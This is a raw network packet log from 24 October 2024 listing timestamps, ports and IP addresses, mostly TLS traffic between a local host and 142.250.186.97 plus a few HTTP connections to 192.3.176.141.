Oct 24, 2024 08:45:45.972625971 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.972676039 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.972688913 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.972821951 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.972904921 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.972965002 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.972978115 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973351955 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973439932 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973507881 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.973520994 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973669052 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973771095 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.973822117 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.973834038 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.975023031 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.975112915 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.975169897 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.975183010 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.979809999 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.979901075 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.979959965 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.979973078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.984690905 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.984774113 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.984841108 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.984855890 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.989604950 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.989650965 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.989662886 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.989722013 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.989999056 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.990672112 CEST	49171	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:45.990986109 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:45.992999077 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.996332884 CEST	80	49171	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:45.996345043 CEST	80	49174	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:45.996403933 CEST	49171	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:45.996429920 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:45.996714115 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.996825933 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.996877909 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.996906042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.999162912 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002037048 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.002048969 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002258062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002372980 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002433062 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.002445936 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002584934 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.002641916 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.002652884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.004703045 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.004786015 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.004853010 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.004879951 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.007981062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.008073092 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.008146048 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.008158922 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.010551929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.010637045 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.010694981 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.010708094 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.013410091 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.013441086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.013452053 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.013458967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.014035940 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.016244888 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.016305923 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.018023014 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.018029928 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.018553019 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:46.018604994 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.018698931 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.019402027 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.021863937 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.021898031 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.021945000 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.021953106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.023983002 CEST	80	49174	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:46.024688005 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.024748087 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.024755955 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.027580023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.030044079 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.030056000 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.030400038 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.033006907 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.033066988 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.033072948 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.033158064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.033191919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.033231020 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.033235073 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.036545992 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.038038015 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.038043976 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.038933039 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.038973093 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.039010048 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.039016008 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.039088964 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.039144993 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.039149046 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.045448065 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.046097040 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.046108007 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.048276901 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.048341036 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.048352957 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.156827927 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.156910896 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.365113020 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365359068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365428925 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.365462065 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365621090 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365720987 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365777969 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.365793943 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.365942001 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366039038 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366053104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366079092 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366242886 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366288900 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366302013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366333008 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366431952 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366441965 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366570950 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366619110 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366630077 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366767883 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366846085 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.366892099 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.366904020 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367041111 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367136002 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367185116 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.367196083 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367357016 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367445946 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367497921 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.367510080 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367649078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367742062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367786884 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.367799997 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.367942095 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368033886 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368045092 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368081093 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368161917 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368186951 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368196011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368269920 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368380070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368443012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368453979 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368577003 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368627071 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.368638039 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.368763924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.369087934 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.369098902 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371418953 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371474981 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.371486902 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371663094 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371751070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371797085 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.371809959 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.371946096 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.371954918 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372065067 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372128963 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.372140884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372348070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372445107 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372503042 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.372514963 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372657061 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372760057 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372812986 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.372827053 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.372955084 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373002052 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.373013020 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373228073 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373275995 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.373287916 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373456955 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373547077 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373595953 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.373608112 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373753071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373833895 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.373845100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.373956919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374034882 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.374046087 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374231100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374387980 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374433041 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.374445915 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374563932 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374607086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374645948 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.374651909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.374701023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375008106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375051975 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.375056982 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375457048 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375490904 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375528097 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.375533104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375541925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375571966 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.375591993 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375637054 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375665903 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375689030 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.375700951 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.375705957 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376260996 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376317024 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376363039 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376451969 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376478910 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376509905 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376518011 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376524925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376574993 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376581907 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376610041 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376617908 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376622915 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.376661062 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376661062 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.376703978 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.377343893 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377403975 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377445936 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377489090 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377513885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377532959 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.377537966 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.377554893 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.378175020 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378212929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378248930 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.378253937 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378298044 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378333092 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378360033 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378366947 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.378374100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378429890 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.378462076 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.378468037 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379340887 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379409075 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379437923 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379447937 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.379452944 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379520893 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379551888 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.379556894 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379615068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379647970 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.379681110 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.379686117 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380036116 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.380038977 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380089045 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.380256891 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380294085 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380341053 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.380345106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380378962 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.380448103 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.380587101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.380592108 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381061077 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381100893 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.381104946 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381144047 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381172895 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381181002 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.381186962 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381238937 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381263018 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381279945 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.381284952 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.381320953 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.381325960 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382010937 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382042885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382066965 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382081032 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.382086039 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382379055 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382419109 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.382422924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382488012 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382523060 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382555962 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.382564068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382572889 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.382601976 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.382606030 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383239985 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383388996 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383393049 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383440018 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383616924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383651972 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383656979 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383665085 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383682966 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383696079 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383718014 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383759022 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383790970 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383795023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383802891 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.383827925 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.383862972 CEST	443	49169	142.250.186.97	192.168.2.22
